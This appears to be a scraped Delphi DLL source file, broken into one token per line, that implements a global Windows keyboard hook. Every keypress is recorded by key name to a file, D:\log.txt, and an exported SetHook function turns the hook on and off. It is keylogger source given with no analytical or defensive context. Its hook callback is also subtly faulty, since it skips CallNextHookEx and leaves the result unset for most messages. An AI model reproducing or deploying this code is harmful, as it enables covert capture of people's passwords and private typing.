library
hook;
Uses
Windows, Messages, Sysutils;
var
myHook: HHook =
0
;
function
MsgProc(Code:
integer
; wParam:
Word
; lParam:
Longint
):
Longint
; stdcall;
var
c:
char
;
f: text;
key:
array
[
0..16
]
of
Char
;
begin
if
(Code=HC_ACTION)
and
(((lParam
shr
16
)
and
KF_UP)=
0
)
then
begin
Assign(f,
'D:\log.txt'
);
if
FileExists(
'D:\log.txt'
)
then
Append(f)
else
Rewrite(f);
GetKeyNameText(lParam,key,SizeOf(key));
Writeln
(f,key);
CloseFile(f);
result:=CallNextHookEx(myHook,Code,wParam,lParam);
end
;
end
;
procedure
setHook(Hook:
boolean
) export; stdcall;
begin
if
Hook
then
begin
if
myHook=
0
then
myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,
0
);
end
else
begin
if
myHook<>
0
then
UnHookWindowsHookEx(myHook);
myHook:=
0
;
end
;
end
;
exports
setHook name
'SetHook'
;
begin
end
.